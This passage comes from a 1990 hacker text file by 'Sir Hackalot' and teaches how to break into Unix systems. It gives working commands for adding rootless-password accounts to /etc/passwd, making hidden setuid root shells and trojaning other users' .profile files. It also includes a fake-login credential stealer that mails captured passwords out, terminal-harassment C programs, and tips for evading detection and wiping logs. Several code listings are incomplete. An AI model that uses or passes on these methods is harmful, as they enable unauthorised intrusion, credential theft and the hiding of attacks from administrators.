       Well, right now, I'd like to take a moment to talk about the account
"bin".  While it is only a user level account, it is very powerful.  It is
the owner of most of the files, and on most systems, it owns /etc/passwd,
THE most important file on a unix.  See, the bin account owns most of the
"bin" (binary) files, as well as others used by the binary files, such
as login.  Now, knowing what you know about file permissions, if bin owns
the passwd file, you can edit passwd and add a root entry for yourself.
You could do this via the edit command:
$ ed passwd
10999 [The size of passwd varies]
* a
sirhak::0:0:Mr. Hackalot:/:/bin/sh
* w
* q

Then, you could say: exec login, then you could login as sirhack, and
you'd be root.


Account Adding

        There are other programs that will add users to the system, instead
of ed.  But most of these programs will NOT allow a root level user to be
added, or anything less than a UID of 100.  One of these programs is
named "adduser".  Now, the reason I have stuck this little section in, is
for those who want to use a unix for something useful.  Say you want a
"mailing address".  If the unix has uucp on it, or is a big college,
chances are, it will do mail transfers.  You'll have to test the unix
by trying to send mail to a friend somewhere, or just mailing yourself.
If the mailer is identified as "smail" when you mail yourself (the program
name will be imbedded in the message) that probably means that the system
will send out UUCP mail.  This is a good way to keep in contact with people.
Now, this is why you'd want a semi-permanent account.  The way to achieve this
is by adding an account similar to those already on the system.  If all the
user-level accounts (UID >= 100) are three letter abbriviations, say
"btc" for Bill The Cat, or "brs" for bill ryan smith, add an account
via adduser, and make a name like sally jane marshall or something
(they don't expect hackers to put in female names) and have the account
named sjm.  See, in the account description (like Mr. Hackalot above), that
is where the real name is usually stored.  So, sjm might look like this:
     sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
Of course, you will password protect this account, right?
Also, group id's don't have to be above 100, but you must put the account
into one that exists.  Now, once you login with this account, the first
thing you'd want to do is execute "passwd" to set a password up.  If you
don't, chances are someone else 'll do it for you (Then you'll be SOL).

Set The User ID

        This is porbably one of the most used schemes.  Setting up an "UID-
Shell". What does this mean?  Well, it basically means you are going
to set the user-bit on a program.  The program most commonly used is
a shell (csh,sh, ksh, etc).  Why?  Think about it:  You'll have access
to whatever the owner of the file does.  A UID shell sets the user-ID of
the person who executes it to the owner of the program.  So if root
owns a uid shell, then you become root when you run it.  This is an
alternate way to become root.

        Say you get in and modify the passwd file and make a root level
account unpassworded, so you can drop in.  Of course, you almost HAVE to
get rid of that account or else it WILL be noticed eventually.  So, what
you would do is set up a regular user account for yourself, then, make
a uid shell.  Usually you would use /bin/sh to do it.  After adding
the regular user to the passwd file, and setting up his home directory,
you could do something like this:
(assume you set up the account: shk)
 # cp /bin/sh /usr/shk/runme
 # chmod a+s /usr/shk/runme

Thats all there would be to it.  When you logged in as shk, you could just
type in:

 $ runme

See?  You'd then be root.  Here is a thing to do:

$ id
uid=104(shk) gid=50(user)

$ runme
# id
uid=104(shk) gid=50(user) euid=0(root)

The euid is the "effective" user ID.  UID-shells only set the effective
userid, not the real user-id.  But, the effective user id over-rides the
real user id.  Now, you can, if you wanted to just be annoying, make
the utilities suid to root.  What do I mean?  For instance, make 'ls'
a root 'shell'. :

# chmod a+s /bin/ls
# exit
$ ls -l /usr/fred
etc crap

Ls would then be able to pry into ANY directory.  If you did the same to
"cat" you could view any file.  If you did it to rm, you could delete any
file.  If you did it to 'ed', you could edit any-file (nifty!), anywhere on
the system (usually).

How do I get root?

   Good question indeed.  To make a program set the user-id shell to root,
you have to be root, unless you're lucky.  What do I mean?  Well, say
you find a program that sets the user-id to root.  If you have access
to write to that file, guess what?  you can copy over it, but keep
the uid bit set.  So, say you see that the program chsh is setting
the user id too root.  You can copy /bin/sh over it.

$ ls -l
rwsrwsrws  root     other  10999 Jan 4  chsh
$ cp /bin/sh chsh
$ chsh

See?  That is just one way.  There are others, which I will now talk

More on setting the UID

        Now, the generic form for making a program set the User-ID bit
is to use this command:

chmod a+s file

Where 'file' is a valid existing file.  Now, only those who own the file
can set the user ID bit.  Remember, anything YOU create, YOU own, so if
you copy th /bin/sh, the one you are logged in as owns it, or IF the
UID is set to something else, the New UID owns the file.  This brings
me to BAD file permissions.

II. HACKING : Bad Directory Permissions

        Now, what do I mean for bad directory permissions?  Well, look for
files that YOU can write to, and above all, DIRECTORIES you can write to.
If you have write permissions on a file, you can modify it.  Now, this comes
in handy when wanting to steal someone's access.  If you can write to
a user's .profile, you are in business.  You can have that user's .profile
create a suid shell for you to run when You next logon after the user.
If the .profile is writable to you, you can do this:

$ ed .profile
[some number will be here]
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
? w
[new filesize will be shown]
? q

  Now, when the user next logs on, the .profile will create .runme which
  will set your ID to the user whose .profile you changed.  Ideally, you'll
  go back in and zap those lines after the suid is created, and you'll create
  a suid somewhere else, and delete the one in his dir.  The .runme will
  not appear in the user's REGULAR directory list, it will only show up
  if he does "ls -a" (or ls with a -a combination), because, the '.' makes
  a file hidden.

The above was a TROJAN HORSE, which is one of the most widely used/abused
method of gaining more power on a unix.  The above could be done in C via
the system() command, or by just plain using open(), chmod(), and the like.
* Remember to check and see if the root user's profile is writeable *
* it is located at /.profile (usually) *

   The BEST thing that could happen is to find a user's directory writeable
   by you.  Why?  well, you could replace all the files in the directory
   with your own devious scripts, or C trojans.  Even if a file is not
   writeable by you, you can still overwrite it by deleteing it.  If you
   can read various files, such as the user's .profile, you can make a
   self deleting trojan as so:

 $ cp .profile
 $ ed .profile
 ? a
 cp /bin/sh .runme
 chmod a+x .runme
 chmod a+s .runme
 mv .profile
 ? w
 [another number]
 ? q
 $ chown that_user

  What happens is that you make a copy of the .profile before you change it.
  Then, you change the original.  When he runs it, the steps are made, then
  the original version is placed over the current, so if the idiot looks in
  his .profile, he won't see anything out of the ordinary, except that he
  could notice in a long listing that the change date is very recent, but
  most users are not paranoid enough to do extensive checks on their files,
  except sysadm files (such as passwd).

  Now, remember, even though you can write to a dir, you may not be able
  to write to a file without deleting it.  If you do not have write perms
  for that file, you'll have to delete it and write something in its place
  (put a file with the same name there). The most important thing to remember
  if you have to delete a .profile is to CHANGE the OWNER back after you
  construct a new one (hehe) for that user.  He could easily notice that his
  .profile was changed and he'll know who did it.  YES, you can change the
  owner to someone else besides yourself and the original owner (as to throw
  him off), but this is not wise as keeping access usually relies on the fact
  that they don't know you are around.

  You can easily change cron files if you can write to them.  I'm not going
  to go into detail about cronfile formats here, just find the crontab files
  and modify them to create a shell somewhere as root every once in a while,
  and set the user-id.

III. Trojan Horses on Detached terminals.
        Basically this:  You can send garbage to a user's screen and
        mess him up bad enough to force a logoff, creating a detached
        account.  Then you can execute a trojan horse off that terminal in
        place of login or something, so the next one who calls can hit the
        trojan horse.  This USUALLY takes the form of a fake login and
        write the username/pw entererred to disk.

        Now, there are other trojan horses available for you to write.  Now,
        don't go thinking about a virus, for they don't work unless ROOT runs
        them.  Anyway, a common trjan would be a shell script to get the
        password, and mail it to you.  Now, you can replace the code for
        the self deleting trojan with one saying something like:
        echo "login: \c"
        read lgin
        echo off (works on some systems)
        (if above not available...: stty -noecho)
        echo "Password:\c"
        read pw
        echo on
        echo "Login: $lgin - Pword: $pw" | mail you

        Now, the best way to use this is to put it in a seperate script file
        so it can be deleted as part of the self deleting trojan.  A quick
        modification, removing the "login: " and leaving the password
        may have it look like SU, so you can get the root password.  But
        make sure the program deletes itself.  Here is a sample trojan
        login in C:

        #include <stdio.h>
        /* Get the necessary defs.. */
          char *name[80];
          char *pw[20];
          FILE *strm;
          printf("login: ");
          pw = getpass("Password:");
          strm = fopen("/WhereEver/Whateverfile","a");
          fprintf(strm,"User: (%s), PW [%s]\n",name,pw);
          /* put some kind of error below... or something... */
          printf("Bus Error - Core Dumped\n");

        The program gets the login, and the password, and appends it to
        a file (/wherever/whateverfile), and creates the file if it can,
        and if its not there.  That is just an example.  Network Annoyances
        come later.

 IV.  Odd systems

        There may be systems you can log in to with  no problem, and find some
slack menu, database, or word processor as your shell, with no way to the
command interpreter (sh, ksh, etc..).  Don't give up here.  Some systems will
let you login as root, but give you a menu which will allow you to add an
account.  However, ones that do this usually have some purchased software
package running, and the people who made the software KNOW that the people
who bought it are idiots, and the thing will sometimes only allow you to
add accounts with user-id 100 or greater, with their special menushell as
a shell.  You probably won't get to pick the shell, the program will probably
stick one on the user you created which is very limiting.  HOWEVER, sometimes
you can edit accounts, and it will list accounts you can edit on the screen.
HOWEVER, these programs usually only list those with UIDS > 100 so you don't
edit the good accounts, however, they donot stop you from editing an account
with a UID < 100.  The "editing" usually only involves changing the password
on the account.  If an account has a * for a password, the standard passwd
program which changes programs, will say no pw exists, and will ask you to
enter one. (wallah! You have just freed an account for yourself.  Usually
bin and sys have a * for a password).  If one exists you'll have to enter
the old Password (I hope you know it!) for that account.  Then, you are
in the same boat as before. (BTW -- These wierd systems are usually
Xenix/386, Xenix/286, or Altos/286)
        With word processors, usually you can select the load command,
and when the word processor prompts for a file, you can select the passwd
file, to look for open accounts, or at least valid ones to hack.  An example
would be the informix system.  You can get a word processor with that such
as Samna word, or something, and those Lamers will not protect against
shit like that.  Why?  The Passwd file HAS to be readable by all for the most
part, so each program can "stat" you.  However, word processors could be made
to restrict editing to a directory, or set of directories.  Here is an

        $ id
        uid=100(sirhack) gid=100(users)
        $ sword
        (word processor comes up)
        (select LOAD A FILE)
        <Edit File>: /etc/passwd
        (you see: )
        sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
        datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh

Now I have found an account to take over! "datawiz" will get me in with no
trouble, then I can change his password, which he will not like at all.
Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions
of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which
will menu drive all the important shit, even creating users, but you must
have ansi or something.

        You can usually tell when you'll get a menu.  Sometimes on UNIX
        SYSTEM V, when it says TERM = (termtype), and is waiting for
        you to press return or whatever, you will probably get a menu.. ack.

V. Shadowed Password files
        Not much to say about this.  all it is, is when every password field
        in the password file has an "x" or just a single character.  What
        that does is screw you, becuase you cannot read the shadowed password
        file, only root can, and it contains all the passwords, so you will
        not know what accounts have no passwords, etc.

There are a lot of other schemes for hacking unix, lots of others, from
writing assembly code that modifies the PCB through self-changing code which
the interrupt handler doesn't catch, and things like that.  However, I do
not want to give away everything, and this was not meant for advanced Unix
Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix
assembly language or anything.  Now I will Talk about Internet.

--->>> InterNet <<<---
        Why do I want to talk about InterNet?  Well, because it is a prime
example of a TCP/IP network, better known as a WAN (Wide-Area-Network).
Now, mainly you will find BSD systems off of the Internet, or SunOS, for
they are the most common.  They may not be when System V, Rel 4.0, Version
2.0 comes out.  Anyway,  these BSDs/SunOSs like to make it easy to jump
from one computer to another once you are logged in.  What happens is
EACH system has a "yello page password file". Better known as yppasswd.
If you look in there, and see blank passwords you can use rsh, rlogin, etc..
to slip into that system.  One system in particular I came across had a
a yppasswd file where *300* users had blank passwords in the Yellow Pages.
Once I got in on the "test" account, ALL I had to do was select who I wanted
to be, and do: rlogin -l user (sometimes -n).  Then it would log me onto
the system I was already on, through TCP/IP.  However, when you do this,
remember that the yppasswd only pertains to the system you are on at
the time.  To find accounts, you could find the yppasswd file and do:

% cat yppasswd | grep ::

Or, if you can't find yppasswd..

% ypcat passwd | grep ::

On ONE system (which will remain confidential), I found the DAEMON account
left open in the yppasswd file.  Not bad.  Anyway,  through one system
on the internet, you can reach many.  Just use rsh, or rlogin, and look
in the file: /etc/hosts for valid sites which you can reach.  If you get
on to a system, and rlogin to somewhere else, and it asks for a password,
that just means one of two things:

A. Your account that you have hacked on the one computer is on the target
   computer as well.  Try to use the same password (if any) you found the
   hacked account to have.  If it is a default, then it is definitly on the
   other system, but good luck...

B. rlogin/rsh passed your current username along to the remote system, so it
   was like typing in your login at a "login: " prompt.  You may not exist on
   the other machine.  Try "rlogin -l login_name", or rlogin -n name..
   sometimes, you can execute "rwho" on another machine, and get a valid

Some notes on Internet servers.  There are "GATEWAYS" that you can get into
that will allow access to MANY internet sites.  They are mostly run off
a modified GL/1 or GS/1.  No big deal.  They have help files.  However,
you can get a "privilged" access on them, which will give you CONTROL of
the gateway.. You can shut it down, remove systems from the Internet, etc..
When you request to become privileged, it will ask for a password.  There is
a default.  The default is "system".  I have come across *5* gateways with
the default password.  Then again, DECNET has the same password, and I have
come across 100+ of those with the default privileged password.  CERT Sucks.
a Gateway that led to APPLE.COM had the default password.  Anyone could
have removed from the internet.  Be advised that there are many
networks now that use TCP/IP.. Such as BARRNET, LANET, and many other
University networks.

--** Having Fun **--

Now, if nothing else, you should atleast have some fun.  No, I do not mean
go trashing hardrives, or unlinking directories to take up inodes, I mean
play with online users.  There are many things to do.  Re-direct output
to them is the biggie.  Here is an example:
 $ who
 loozer   tty1
 sirhack  tty2
 $ banner You Suck >/dev/tty1
 That sent the output to loozer.  The TTY1 is where I/O is being performed
 to his terminal (usually a modem if it is a TTY).  You can repetitiously
 banner him with a do while statement in shell, causing him to logoff. Or
 you can get sly, and just screw with him.  Observe this C program:

#include <stdio.h>
#include <fcntl.h>
#include <string.h>

int argc;
char *argument[];
	int handle;
	char *pstr,*olm[80];
	char *devstr = "/dev/";
	int acnt = 2;
	FILE *strm;
	pstr = "";
	if (argc == 1) {
                printf("OL (OneLiner) Version 1.00 \n");
                printf("By Sir Hackalot [PHAZE]\n");
		printf("\nSyntax: ol tty message\n");
		printf("Example: ol tty01 You suck\n");
	printf("OL (OneLiner) Version 1.0\n");
        printf("By Sir Hackalot [PHAZE]\n");
	if (argc == 2) {
		printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
		printf("Enter one Here => ");
	printf("Sending to: [%s]\n",pstr);
	strm = fopen(pstr,"a");
	if (strm == NULL) {
		printf("Error writing to: %s\n",pstr);
		printf("Cause: No Write Perms?\n");
	if (argc == 2) {
                if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname());
		printf("Message Sent.\n");
        if (argc > 2) {                             
                if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname());
		while (acnt <= argc - 1) {
			fprintf(strm,"%s ",argument[acnt]);
		printf("Message sent!\n");

What the above does is send one line of text to a device writeable by you
in /dev.  If you try it on a user named "sirhack" it will notify sirhack
of what you are doing.  You can supply an argument at the command line, or
leave a blank message, then it will prompt for one.  You MUST supply a
Terminal.  Also, if you want to use ?, or *, or (), or [], you must not
supply a message at the command line, wait till it prompts you.  Example:

$ ol tty1 You Suck!
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Sending to: [/dev/tty1]
Message Sent!
$ ol tty1
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Dummy! You Forgot to Supply a ONE LINE MESSAGE!
Enter one here => Loozer! Logoff (NOW)!! ^G^G
Sending to: [/dev/tty1]
Message Sent!

  You can even use it to fake messages from root.  Here is another:

 * Hose another user

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <utmp.h>
#include <time.h>
#include <termio.h>
#include <sys/utsname.h>

#define NMAX    sizeof(ubuf.ut_name)

struct	utmp ubuf;
struct	termio oldmode, mode;
struct	utsname name;
int yn;        
int loop = 0;
char    *realme[50] = "Unknown";
char    *strcat(), *strcpy(), me[50]  = "???", *him, *mytty, histty[32];
char	*histtya, *ttyname(), *strrchr(), *getenv();
int	signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
FILE	*tf;

main(argc, argv)
int argc;
char *argv[];
	register FILE *uf;
	char c1, lastc;
	int goodtty = 0;
	long clock = time((long *) 0);
	struct tm *localtime();
	struct tm *localclock = localtime( &clock );
	struct stat stbuf;
	char psbuf[20], buf[80], window[20], junk[20];
	FILE *pfp, *popen();

	if (argc < 2) {
                printf("usage: hose user [ttyname]\n");
        him = argv[1];

	if (argc > 2)
		histtya = argv[2];
	if ((uf = fopen("/etc/utmp", "r")) == NULL) {
		printf("cannot open /etc/utmp\n");
	if (me == NULL) {
		printf("Can't find your login name\n");
    mytty = ttyname(2);
    if (mytty == NULL) {
		printf("Can't find your tty\n");
	if (stat(mytty, &stbuf) < 0) {
		printf("Can't stat your tty -- This System is bogus.\n");
	if ((stbuf.st_mode&02) == 0) {
		printf("You have write permissions turned off (hehe!).\n");

    if (histtya) {
		if (!strncmp(histtya, "/dev/", 5))
			histtya = strrchr(histtya, '/') + 1;
		strcpy(histty, "/dev/");
		strcat(histty, histtya);
	while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
		if (ubuf.ut_name[0] == '\0')
		if (!strncmp(ubuf.ut_name, him, NMAX)) {
			if (histty[0]==0) {
				strcpy(histty, "/dev/");
				strcat(histty, ubuf.ut_line);
			if (histtya) {
				if (!strcmp(ubuf.ut_line, histtya))
        if (logcnt==0) {
		printf("%s not found! (Not logged in?)\n", him);

	if (histtya==0 && logcnt > 1) {
		printf("%s logged more than once\nwriting to %s\n", him, histty+5);
	if (access(histty, 0) < 0) {
		printf("No such tty? [%s]\n",histty);
	signal(SIGALRM, timout);
	if ((tf = fopen(histty, "w")) == NULL)
		goto perm;
	if (fstat(fileno(tf), &stbuf) < 0)
		goto perm;
	if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
		goto perm;
	ioctl(0, TCGETA, &oldmode);		/* save tty state */
	ioctl(0, TCGETA, &mode);
        if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
  if (yn == 1 ) {
    fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
    printf("Critical Error Handler: %s running conflicting process\n",him);
	mode.c_cc[4] = 1;
	mode.c_cc[5] = 0;
	mode.c_lflag &= ~ICANON;
	ioctl(0, TCSETAW, &mode);
	lastc = '\n';

printf("Backspace / Spin Cursor set lose on: %s\n",him);
   while (loop == 0) {
   c1 = '\b'; 

printf("Write Permissions denied!\n");


printf("Timeout opening their tty\n");

ioctl(0, TCSETAW, &oldmode);

	register i;
	i = fork();
	if (i < 0) {
		printf("Try again\n");
		goto out;
	if (i == 0) {
		sigs((int (*)())0);
	while(wait((int *)NULL) != i)

int (*sig)();
	register i;
	for (i=0; signum[i]; i++)
		signal(signum[i], sig);

What the above is, is a modified version of the standard write command.
What it does, is spin the cursor once, then backspace once over the
screen of the user it is run on. All though, it does not physically affect
input, the user thinks it does.  therefore, he garbles input.  The sleep(xx)
can be changed to make the stuff happen more often, or less often.
If you put your login name in the "YOURNAMEHERE" slot, it will protect you
from getting hit by it, if someone off a Public access unix leeches the
executable from your directory.
You could make a shorter program that does almost the same thing, but
you have to supply the terminal, observe:

/* Backspace virus, by Sir Hackalot [Phaze] */
#include <stdio.h>
#include <fcntl.h>
char *argv[];
int argc;
        int x = 1;
        char *device = "/dev/";
        FILE *histty;
        if (argc == 1) {
        printf("Bafoon.  Supply a TTY.\n");
        /* Make the filename /dev/tty.. */
        histty = fopen(device,"a");
        if (histty == NULL) {
        printf("Error opening/writing to tty.  Check their perms.\n");
        printf("BSV - Backspace virus, By Sir Hackalot.\n");
        printf("The Sucker on %s is getting it!\n",device);
        while (x == 1) {

Thats all there is to it.  If you can write to their tty, you can use this on
them.  It sends two backspaces to them every approx. 5 seconds.  You
should run this program in the background.  (&).  Here is an example:

$ who
sirhack     tty11
loozer      tty12
$ bsv tty12&
[1]  4566
BSV - Backspace virus, by Sir Hackalot
The Sucker on /dev/tty12 is getting it!

Now, it will keep "attacking" him, until he loggs of, or you kill the process
(which was 4566 -- when you use &, it gives the pid [usually]).

** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF
method to terminate a line.  However, the LF terminates a line in Unix.
you must STRIP CR's on an ascii upload if you want something you upload
to an editor to work right.  Else, you'll see a ^M at the end of every
line.  I know that sucks, but you just have to compensate for it.

I have a number of other programs that annoy users, but that is enough to
get your imagination going, provided you are a C programmer.  You can annoy
users other ways.  One thing you can do is screw up the user's mailbox.
The way to do this is to find a binary file (30k or bigger) on the system
which YOU have access to read.  then, do this:

$ cat binary_file | mail loozer


$ mail loozer < binary file

That usually will spilt into 2 messages or more.  The 1st message will
have a from line.. (from you ..), but the second WILL NOT!  Since it does
not, the mail reader will keep exiting and giving him an error message until
it gets fixed..  The way to fix it is to go to the mail box that got hit
with this trick (usually only the one who got hit (or root) and do this),
and edit the file, and add a from line.. like
From username..

then it will be ok.  You can screw the user by "cat"ing a binary to his tty.
say Loozer is on tty12.  You can say..
$ cat binary_file >/dev/tty12
It may pause for a while while it outputs it.  If you want to resume what
you were doing instantly, do:
$ cat binary_file >/dev/tty12&
[1] 4690
And he will probably logoff.  You can send the output of anything to his
terminal.  Even what YOU do in shell.  Like this:
$ sh >/dev/tty12
You'll get your prompts, but you won't see the output of any commands, he
$ ls
$ banner Idiot!
$ echo Dumbass!
until you type in exit, or hit ctrl-d.

There are many many things you can do.  You can fake a "write" to someone
and make them think it was from somewhere on the other side of hell.  Be

When you are looking for things to do, look for holes, or try to get
someone to run a trojan horse that makes a suid shell.  If you get
someone to run a trojan that does that, you can run the suid, and log their
ass off by killing their mother PID.  (kill -9 whatever).  Or, you can
lock them out by adding "kill -1 0" to their .profile.  On the subject of
holes, always look for BAD suid bits.  On one system thought to be invincible
I was able to read/modify everyone's mail, because I used a mailer that had
both the GroupID set, and the UserID set.  When I went to shell from it,
the program instantly changed my Effective ID back to me, so I would not be
able to do anything but my regular stuff.  But it was not designed to change
the GROUP ID back.  The sysop had blundered there.  SO when I did an ID
I found my group to be "Mail".  Mailfiles are readble/writeable by the
user "mail", and the group "mail".  I then set up a sgid (set group id) shell
to change my group id to "mail" when I ran it, and scanned important mail,
and it got me some good info.  So, be on the look out for poor permissions.

Also, after you gain access, you may want to keep it.  Some tips on doing so
        1. Don't give it out.  If the sysadm sees that joeuser logged in 500
           times in one night....then....
        2. Don't stay on for hours at a time.  They can trace you then. Also
           they will know it is irregular to have joeuser on for 4 hours
           after work.
        3. Don't trash the system.  Don't erase important files, and don't
           hog inodes, or anything like that.  Use the machine for a specific
           purpose (to leech source code, develop programs, an Email site).
           Dont be an asshole, and don't try to erase everything you can.
        4. Don't screw with users constantly.  Watch their processes and
           run what they run.  It may get you good info (snoop!)
        5. If you add an account, first look at the accounts already in there
           If you see a bunch of accounts that are just 3 letter abbrv.'s,
           then make yours so.  If a bunch are "cln, dok, wed" or something,
           don't add one that is "joeuser", add one that is someone's
           full initials.

        6. When you add an account, put a woman's name in for the
           description, if it fits (Meaning, if only companies log on to the
           unix, put a company name there).  People do not suspect hackers
           to use women's names.  They look for men's names.
        7. Don't cost the Unix machine too much money.  Ie.. don't abuse an
           outdial, or if it controls trunks, do not set up a bunch of dial
           outs.  If there is a pad, don't use it unless you NEED it.
        8. Don't use x.25 pads.  Their usage is heavily logged.
        9. Turn off acct logging (acct off) if you have the access to.
           Turn it on when you are done.
       10. Remove any trojan horses you set up to give you access when you
           get access.
       11. Do NOT change the MOTD file to say "I hacked this system" Just
           thought I'd tell you.  Many MANY people do that, and lose access
           within 2 hours, if the unix is worth a spit.
       12. Use good judgement.  Cover your tracks.  If you use su, clean
           up the sulog.
       13. If you use cu, clean up the cu_log.
       14. If you use the smtp bug (wizard/debug), set up a uid shell.
       15. Hide all suid shells.  Here's how:
           goto /usr
           (or any dir)
           # mkdir ".. "
           # cd ".. "
           # cp /bin/sh ".whatever"
           # chmod a+s ".whatever"
           The "" are NEEDED to get to the directory ..  !  It will not show
           up in a listing, and it is hard as hell to get to by sysadms if
           you make 4 or 5 spaces in there ("..    "), because all they will
           see in a directory FULL list will be .. and they won't be able to
           get there unless they use "" and know the spacing.  "" is used
           when you want to do literals, or use a wildcard as part of a file
       16. Don't hog cpu time with password hackers.  They really don't work

       17. Don't use too much disk space.  If you archieve something to dl,
           dl it, then kill the archieve.
       18. Basically -- COVER YOUR TRACKS.

Some final notes:

Now, I hear lots of rumors and stories like "It is getting harder to get
into systems...".  Wrong. (Yo Pheds! You reading this??).  It IS true
when you are dealing with WAN's, such as telenet, tyment, and the Internet,
but not with local computers not on those networks.  Here's the story:

Over the past few years, many small companies have sprung up as VARs
(Value Added Resellers) for Unix and Hardware, in order to make a fast
buck.  Now, these companies fast talk companies into buying whatever,
and they proceed in setting up the Unix.  Now, since they get paid by
the hour usaually when setting one up, they spread it out over days....
during these days, the system is WIDE open (if it has a dialin).  Get
in and add yourself to passwd before the seal it off (if they do..).
Then again, after the machine is set up, they leave the defaults on the
system.  Why?  The company needs to get in, and most VARs cannot use
unix worth a shit, all they know how to do is set it up, and that is ALL.
Then, they turn over the system to a company or business that USUALLY
has no-one that knows what they hell they are doing with the thing, except
with menus.  So, they leave the system open to all...(inadvertedly..),
because they are not competant.  So, you could usually get on, and create
havoc, and at first they will think it is a bug..  I have seen this
happen ALL to many times, and it is always the same story...
The VAR is out for a fast buck, so they set up the software (all they know
how to do), and install any software packages ordered with it (following
the step by step instructions).  Then they turn it over to the business
who runs a word processor, or database, or something, un aware that a
"shell" or command line exists, and they probably don't even know root does.
So, we will see more and more of these pop up, especially since AT&T is
now bundling a version of Xwindows with their new System V, and Simultask...
which will lead to even more holes.  You'll find systems local to you
that are easy as hell to get into, and you'll see what I mean.  These
VARs are really actually working for us.  If a security problem arises
that the business is aware of, they call the VAR to fix it... Of course,
the Var gets paid by the hour, and leaves something open so you'll get in
again, and they make more moolahhhh.

You can use this phile for whatever you want.  I can't stop you.  Just
to learn unix (heh) or whatever.  But its YOUR ass if you get caught.
Always consider the penalties before you attempt something.  Sometimes
it is not worth it, Sometimes it is.

This phile was not meant to be comprehensive, even though it may seem like
it.  I have left out a LOT of techniques, and quirks, specifically to get
you to learn SOMETHING on your own, and also to retain information so
I will have some secrets.  You may pass this file on, UNMODIFIED, to any
GOOD H/P BBS.  Sysops can add things to the archieve to say where
it was DL'd from, or to the text viewer for the same purpose.  This is
Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.

-Sir Hackalot of PHAZE